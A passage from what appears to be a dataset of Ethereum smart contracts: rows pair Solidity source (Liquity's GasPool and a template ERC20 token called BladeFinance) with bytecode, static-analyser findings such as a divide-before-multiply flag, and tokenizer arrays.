fffffffffffffffffffffffffffffffffffff161415611b9457600560016005805490500381548110611a3257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660058281548110611a6a57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005805480611b5a57fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055611ba1565b80806001019150506119a5565b5050565b600033905090565b600080600080600080611bbe613476565b611bc788612597565b83600060088110611bd457fe5b6020020184600160088110611be557fe5b6020020185600260088110611bf657fe5b60200201838152508381525083815250505050611c11612522565b81600360088110611c1e57fe5b602002018181525050611c668882600160088110611c3857fe5b602002015183600360088110611c4a57fe5b602002015184600260088110611c5c57fe5b602002015161262d565b84600460088110611c7357fe5b6020020185600560088110611c8457fe5b6020020186600660088110611c9557fe5b6020020187600760088110611ca657fe5b60200201848152508481525084815250848152505050505080600460088110611ccb57fe5b602002015181600560088110611cdd57fe5b602002015182600760088110611cef57fe5b602002015183600060088110611d0157fe5b602002015184600160088110611d1357fe5b602002015185600260088110611d2557fe5b60200201519650965096509650965096505091939550919395565b6000611d8283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612462565b905092915050565b600080828401905083811015611e08576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e98576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806135c66024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f1e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061350d6022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561208f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806135a16025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612115576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061349a6023913960400191505060405180910390fd5b6000811161216e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806135786029913960400191505060405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156122115750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612226576122218383836126bc565b61245d565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156122c95750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122de576122d9838383612914565b61245c565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156123825750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561239757612392838383612b6c565b61245b565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156124395750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561244e57612449838383612d2f565b61245a565b612459838383612b6c565b5b5b5b5b505050565b600083831115829061250f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156124d45780820151818401526020810190506124b9565b50505050905090810190601f1680156125015780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080600061252f61301c565b91509150612546818361254d90919063ffffffff16565b9250505090565b600061258f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506132dd565b905092915050565b6000806000806125c460016125b660648861254d90919063ffffffff16565b6133a390919063ffffffff16565b905060006125ef60016125e160648961254d90919063ffffffff16565b6133a390919063ffffffff16565b905060006126188361260a848a611d4090919063ffffffff16565b611d4090919063ffffffff16565b90508083839550955095505050509193909250565b6000806000806000612648878a6133a390919063ffffffff16565b9050600061265f888a6133a390919063ffffffff16565b9050600061267689896133a390919063ffffffff16565b9050600061269f826126918587611d4090919063ffffffff16565b611d4090919063ffffffff16565b905083818484975097509750975050505050945094509450949050565b6000806000806000806126ce87611bad565b95509550955095509550955061272c87600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127c186600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4090919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061285685600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8a90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128a4848383613429565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061292687611bad565b95509550955095509550955061298486600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4090919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a1983600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612aae85600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8a90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612afc848383613429565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612b7e87611bad565b955095509550955095509550612bdc86600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4090919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c7185600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8a90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612cbf848383613429565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612d4187611bad565b955095509550955095509550612d9f87600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e3486600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4090919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ec983600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f5e85600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8a90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fac848383613429565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000600654905060006d314dc6448d9338c15b0a00000000905060005b6005805490508110156132885782600160006005848154811061305b57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061314257508160026000600584815481106130da57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15613165576006546d314dc6448d9338c15b0a00000000945094505050506132d9565b6131ee600160006005848154811061317957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611d4090919063ffffffff16565b9250613279600260006005848154811061320457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611d4090919063ffffffff16565b9150808060010191505061303c565b506132ac6d314dc6448d9338c15b0a0000000060065461254d90919063ffffffff16565b8210156132d0576006546d314dc6448d9338c15b0a000000009350935050506132d9565b81819350935050505b9091565b60008083118290613389576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561334e578082015181840152602081019050613333565b50505050905090810190601f16801561337b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161339557fe5b049050809150509392505050565b6000808314156133b65760009050613423565b60008284029050828482816133c757fe5b041461341e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061352f6021913960400191505060405180910390fd5b809150505b92915050565b61343e83600654611d4090919063ffffffff16565b60068190555061346b8161345d84600754611d8a90919063ffffffff16565b611d8a90919063ffffffff16565b600781905550505050565b60405180610100016040528060089060208202803683378082019150509050509056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220722b4855e8abd5a0aa69d0ede2144d5029f8908be58b17b6210ebd1babc4703964736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
24087,
28154,
2575,
23499,
11057,
7011,
2620,
2683,
2546,
2094,
2487,
7959,
2683,
2497,
2509,
7011,
28154,
27531,
2497,
23833,
2683,
10322,
2497,
23352,
23777,
2475,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
2260,
1025,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
3477,
3085,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
27507,
3638,
1007,
1063,
2023,
1025,
1013,
1013,
4223,
2110,
14163,
2696,
8553,
5432,
2302,
11717,
24880,
16044,
1011,
2156,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,550 | 0x9555b042F969E561855e5F28cB1230819149A8d9 | // SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
/**
* The purpose of this contract is to hold LUSD tokens for gas compensation:
* https://github.com/liquity/dev#gas-compensation
* When a borrower opens a trove, an additional 50 LUSD debt is issued,
* and 50 LUSD is minted and sent to this contract.
* When a borrower closes their active trove, this gas compensation is refunded:
* 50 LUSD is burned from the this contract's balance, and the corresponding
* 50 LUSD debt on the trove is cancelled.
* See this issue for more context: https://github.com/liquity/dev/issues/186
*/
contract GasPool {
// do nothing, as the core contracts have permission to send to and burn from this address
} | 0x6080604052600080fdfea2646970667358221220470db88d133bba5fd53927e2c439fff0a57a527a37b494e58b244f2aa7feb11b64736f6c634300060b0033 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
24087,
2629,
2497,
2692,
20958,
2546,
2683,
2575,
2683,
2063,
26976,
15136,
24087,
2063,
2629,
2546,
22407,
27421,
12521,
14142,
2620,
16147,
16932,
2683,
2050,
2620,
2094,
2683,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1020,
1012,
2340,
1025,
1013,
1008,
1008,
1008,
1996,
3800,
1997,
2023,
3206,
2003,
2000,
2907,
11320,
16150,
19204,
2015,
2005,
3806,
9430,
1024,
1008,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
5622,
15549,
3723,
1013,
16475,
1001,
3806,
1011,
9430,
1008,
2043,
1037,
17781,
2121,
7480,
1037,
19817,
21818,
1010,
2019,
3176,
2753,
11320,
16150,
7016,
2003,
3843,
1010,
1008,
1998,
2753,
11320,
16150,
2003,
12927,
2098,
1998,
2741,
2000,
2023,
3206,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,551 | 0x9555Cbb47D988D50f0Fb6B6D697b9A153eA4364D | pragma solidity 0.6.6;
// ----------------------------------------------------------------------------
// 'BladeFinance' token contract
//
// Deployed to : 0xc691b7f37aB03521E45a9048CD008fCB004E7A3a
// Symbol : BLD
// Name : BladeFinance
// Total supply: 100000000
// Decimals : 18
//
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
abstract contract ERC20Interface {
function totalSupply() virtual public view returns (uint);
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
function transfer(address to, uint tokens) virtual public returns (bool success);
function approve(address spender, uint tokens) virtual public returns (bool success);
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
// ----------------------------------------------------------------------------
abstract contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) virtual public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract BladeFinance is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "BLD";
name = "BladeFinance";
decimals = 5;
_totalSupply = 100000000000;
balances[0xc691b7f37aB03521E45a9048CD008fCB004E7A3a] = _totalSupply;
emit Transfer(address(0), 0xc691b7f37aB03521E45a9048CD008fCB004E7A3a, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public override view returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public override view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public override returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public override returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public override returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public override view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
// function () external payable {
// revert();
// }
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 0x608060405234801561001057600080fd5b506004361061012c5760003560e01c8063a293d1e8116100ad578063d4ee1d9011610071578063d4ee1d9014610676578063dc39d06d146106c0578063dd62ed3e14610726578063e6cb90131461079e578063f2fde38b146107ea5761012c565b8063a293d1e81461042f578063a9059cbb1461047b578063b5931f7c146104e1578063cae9ca511461052d578063d05c78da1461062a5761012c565b80633eaaf86b116100f45780633eaaf86b146102e257806370a082311461030057806379ba5097146103585780638da5cb5b1461036257806395d89b41146103ac5761012c565b806306fdde0314610131578063095ea7b3146101b457806318160ddd1461021a57806323b872dd14610238578063313ce567146102be575b600080fd5b61013961082e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017957808201518184015260208101905061015e565b50505050905090810190601f1680156101a65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610200600480360360408110156101ca57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108cc565b604051808215151515815260200191505060405180910390f35b6102226109be565b6040518082815260200191505060405180910390f35b6102a46004803603606081101561024e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a09565b604051808215151515815260200191505060405180910390f35b6102c6610c99565b604051808260ff1660ff16815260200191505060405180910390f35b6102ea610cac565b6040518082815260200191505060405180910390f35b6103426004803603602081101561031657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cb2565b6040518082815260200191505060405180910390f35b610360610cfb565b005b61036a610e98565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103b4610ebd565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103f45780820151818401526020810190506103d9565b50505050905090810190601f1680156104215780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104656004803603604081101561044557600080fd5b810190808035906020019092919080359060200190929190505050610f5b565b6040518082815260200191505060405180910390f35b6104c76004803603604081101561049157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f75565b604051808215151515815260200191505060405180910390f35b610517600480360360408110156104f757600080fd5b8101908080359060200190929190803590602001909291905050506110fe565b6040518082815260200191505060405180910390f35b6106106004803603606081101561054357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561058a57600080fd5b82018360208201111561059c57600080fd5b803590602001918460018302840111640100000000831117156105be57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929050505061111e565b604051808215151515815260200191505060405180910390f35b6106606004803603604081101561064057600080fd5b810190808035906020019092919080359060200190929190505050611351565b6040518082815260200191505060405180910390f35b61067e61137e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61070c600480360360408110156106d657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113a4565b604051808215151515815260200191505060405180910390f35b6107886004803603604081101561073c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114ea565b6040518082815260200191505060405180910390f35b6107d4600480360360408110156107b457600080fd5b810190808035906020019092919080359060200190929190505050611571565b6040518082815260200191505060405180910390f35b61082c6004803603602081101561080057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061158b565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108c45780601f10610899576101008083540402835291602001916108c4565b820191906000526020600020905b8154815290600101906020018083116108a757829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b6000610a54600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f5b565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1d600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f5b565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610be6600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611571565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60055481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d5557600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f535780601f10610f2857610100808354040283